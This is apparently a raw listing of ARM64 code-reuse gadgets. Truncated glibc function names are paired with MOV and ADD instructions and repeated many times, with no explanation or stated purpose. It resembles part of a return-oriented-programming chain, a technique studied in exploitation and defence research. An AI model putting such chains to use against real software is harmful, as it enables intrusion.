__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 
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__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 
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pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 
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__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 
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__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 
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__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 
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pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmax MOV X0, 0x40 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__libc_current_sigrtmax MOV X0, 0x40 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 
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__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

__profile_frequency MOV X0, 0x64 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 
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inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

_svcauth_short MOV X0, 0x2 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 
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__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

xdr_void@GLIBC_2.17 MOV X0, 0x1 

dysize MOV X0, 0x16D 

__deadline_from_... ADD X2, X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

__libc_current_sigrtmin MOV X0, 0x22 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

xdrmem_create... MOV [X0], X3 

__gconv_compare_... MOV X3, 0x0 

free_mem MOV X2, 0x0 

pthread_attr_set... MOV X0, 0x16 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_getcpuclock... MOV X0, 0x3 

__deadline_from_... ADD X2, X2, X0 

inet6_option_init MOV X3, X0 

__mq_nofity_fork... MOV X0, LIBC 

pthread_barrierattr... MOV X2, X0 

